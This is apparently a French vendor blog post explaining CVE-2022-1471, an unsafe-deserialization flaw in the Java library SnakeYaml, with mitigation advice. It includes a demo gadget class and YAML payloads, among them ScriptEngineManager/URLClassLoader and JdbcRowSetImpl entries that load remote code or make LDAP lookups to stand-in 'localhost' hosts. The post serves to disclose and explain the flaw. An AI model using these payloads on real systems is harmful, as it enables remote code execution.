Skip to main content

Vulnérabilité de désérialisation non sécurisée dans SnakeYaml (CVE-2022-1471)

Écrit par
feature snakeyaml java vuln

14 décembre 2022

0 minutes de lecture

SnakeYaml est un analyseur et générateur YAML 1.1 bien connu pour Java. Récemment, une vulnérabilité — CVE-2022-1471 — a été signalée dans ce package. Elle peut entraîner l’exécution de code arbitraire. Le package org.yaml:snakeyaml est largement utilisé dans l’écosystème Java, notamment parce qu’il est inclus par défaut dans Spring Boot via spring-boot-starter. Dans cet article, nous examinons la vulnérabilité de sécurité qui affecte cette bibliothèque Java, ses conséquences potentiellement dangereuses pour vos applications et les risques réels qu’elle représente.

En quoi consiste la vulnérabilité de sécurité de SnakeYaml ?

La bibliothèque SnakeYaml pour Java est vulnérable à l’exécution de code arbitraire en raison d’une faille dans sa classe Constructor. Cette classe ne limite pas les types pouvant être désérialisés, ce qui permet à un attaquant de fournir un fichier YAML malveillant à désérialiser et potentiellement d’exploiter le système. Cette faille entraîne donc un problème de désérialisation non sécurisée pouvant aboutir à l’exécution de code arbitraire.

À quoi ressemble la vulnérabilité de SnakeYaml

Avec SnakeYaml, il est assez facile de désérialiser ou de sérialiser du YAML. En général, le code ressemble à ceci :

Yaml yaml = new Yaml();
File file = new File("file.yaml");
InputStream inputStream = new FileInputStream(file);
User user = yaml.load(inputStream);

Lors du chargement du YAML depuis le fichier de l’exemple ci-dessus, l’entrée est analysée en tant que Object.class, le supertype de tous les objets Object en Java. Dans notre code, nous attendons un objet User, mais la conversion de type a lieu après le chargement de Object en mémoire. Comme le type est le générique Object, n’importe quel objet peut être utilisé. Cela peut entraîner l’exécution de code arbitraire si un gadget ou une chaîne de gadgets est disponible dans le classpath de l’application.

Cela ressemble aux problèmes abordés dans nos articles Sérialisation et désérialisation en Java et Problèmes de désérialisation JSON en Java avec Jackson ObjectMapper.

Démonstration de la vulnérabilité de SnakeYaml

Pour illustrer le scénario vulnérable, j’ai délibérément créé une classe gadget. Un gadget est une classe qui produit un effet secondaire lors de son instanciation, soit en réalisant directement une action, soit en déclenchant une chaîne de gadgets. Dans cet exemple, le gadget exécute une commande donnée lors de l’appel du constructeur.

public class Gadget {
   private Runnable command;

   public Gadget(String value) {
       this.command = new Command(value);
       this.command.run();
   }
}

Lorsque cette classe Java est disponible, je peux lui fournir le contenu YAML suivant lorsque je désérialise mon YAML avec le code présenté précédemment :

!!nl.brianvermeer.snakeyaml.Gadget ["touch myFile.txt"]

Cela signifie que je peux cibler spécifiquement n’importe quelle classe Java disponible dans le classpath avec SnakeYaml. Comme la classe se trouve déjà dans mon classpath et que SnakeYaml crée l’objet quelle que soit la classe attendue, j’obtiendrai une ClassCastException. Mais le mal est déjà fait : la commande est exécutée. La présence d’un gadget ou d’une chaîne de gadgets dans votre classpath peut entraîner des conséquences désastreuses, comme une attaque par shell inversé.

Quelle est la gravité de la vulnérabilité de SnakeYaml dans des applications réelles ?

Il est peu probable que quelqu’un crée un gadget comme nous l’avons fait dans l’exemple ci-dessus. Cependant, l’ajout de bibliothèques tierces augmente les chances que des gadgets créés par d’autres personnes de cette manière soient présents dans votre code. Un rapide coup d’œil au dépôt GitHub ysoserial ou à la liste des problèmes de désérialisation dans jackson-databind, une bibliothèque de sérialisation JSON, montre que le risque est élevé. La différence avec jackson-databind est que, par défaut, jackson n’active pas defaultTyping (comme nous l’avons expliqué dans notre précédente mention de cette vulnérabilité).

Les acteurs malveillants peuvent également exploiter certaines classes du JDK pour causer des dégâts. Par exemple, ScriptEngine :

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:8080/"]]]]

Cette entrée YAML se connecte à une URL qui peut télécharger du contenu malveillant dans votre application, comme l’explique cet article de Websec.

Autre exemple (selon la version de Java que vous utilisez) : la classe JdbcRowSetImpl, qui peut effectuer une recherche via une requête LDAP. Cela peut entraîner des risques similaires à ceux observés avec Log4Shell il n’y a pas si longtemps.

!!com.sun.rowset.JdbcRowSetImpl
dataSourceName: "ldap://localhost:9999/Evil"
autoCommit: true

Pour en savoir plus, consultez le ticket Bitbucket de SnakeYaml.

Suis-je concerné par la vulnérabilité de SnakeYaml ?

Le fait que vous soyez concerné dépend de la manière dont vous utilisez cette bibliothèque. Si vous chargez des données YAML personnalisées provenant d’autres sources, comme vous le feriez avec des objets XML et JSON, vous pourriez être vulnérable ! En règle générale, vous ne devez pas accepter ces entrées provenant de sources non fiables.

Dans la plupart des cas, SnakeYaml est utilisé par d’autres frameworks comme Spring ou Helidon pour lire des configurations YAML qui font déjà partie de votre système. Si des acteurs malveillants peuvent modifier ces fichiers de configuration, vous avez un autre problème, probablement plus grave. Personnellement, je ne pense donc pas que l’impact soit considérable.

Les responsables de la bibliothèque contestent le risque associé à ce problème. Néanmoins, nous ne pouvons tout simplement pas prévoir la façon dont les utilisateurs emploient une bibliothèque de ce type.

Mesures d’atténuation proposées pour la vulnérabilité de SnakeYaml

À la date de publication, aucune nouvelle version de ce package n’est disponible. Les responsables ont accepté une pull request Git qui ajoute une liste de blocage pour certains artefacts à désérialiser. Cette modification devrait être disponible dans la version 1.34. Pour l’instant, il semble qu’aucune solution générique ne soit prévue pour le comportement par défaut.

Notez que la documentation de SnakeYaml indique : Il n’est pas sûr d’appelerYaml.load() avec des données provenant d’une source non fiable !La méthode Yaml.load() convertit un document YAML en objet Java.

Utilisé par défaut, comme illustré ci-dessous.

Yaml yaml = new Yaml(new SafeConstructor());

Analysez toujours vos dépendances

Comme vous le savez déjà, la plupart du code de vos applications provient de bibliothèques tierces. Et comme aucun développeur n’a le temps d’examiner tout le code de ces bibliothèques, il est important d’analyser vos dépendances pour détecter les vulnérabilités connues. Snyk simplifie cette tâche grâce à l’analyse en temps réel, à des conseils de correction exploitables et à un score de priorité, afin que vous puissiez maximiser l’impact de vos efforts de correction. Créez votre compte gratuit dès aujourd’hui.

Lancez-vous dans les compétitions Capture The Flag

Apprenez à résoudre des défis de capture du drapeau en regardant à la demande notre atelier virtuel d’initiation.

Lire la suite

Blog

Les modèles de pointe ont trouvé les vulnérabilités. Seul l’attaquant a trouvé les chaînes d’exploitation.

L’analyse statique a détecté les failles, mais seuls des tests d’attaque en conditions réelles ont prouvé comment elles pouvaient être enchaînées pour provoquer des compromissions. Comparaison d’Evo COS, de Claude Security et de Claude Code Security.

feature insights context
Blog

Les attaques autonomes sont déjà là. La défense doit suivre leur rythme.

Les attaquants autonomes réduisent la fenêtre de défense. Découvrez comment la découverte, la correction, la validation et la prévention continues peuvent aider les équipes de sécurité à suivre le rythme.

Blog

Votre backlog de vulnérabilités n’est plus une dette technique, c’est une surface d’attaque

Un backlog de vulnérabilités qui s’allonge est plus qu’une dette technique : c’est une surface d’attaque. Découvrez pourquoi les anciennes hypothèses de risque, les attaquants automatisés et les vulnérabilités en chaîne exigent une nouvelle approche.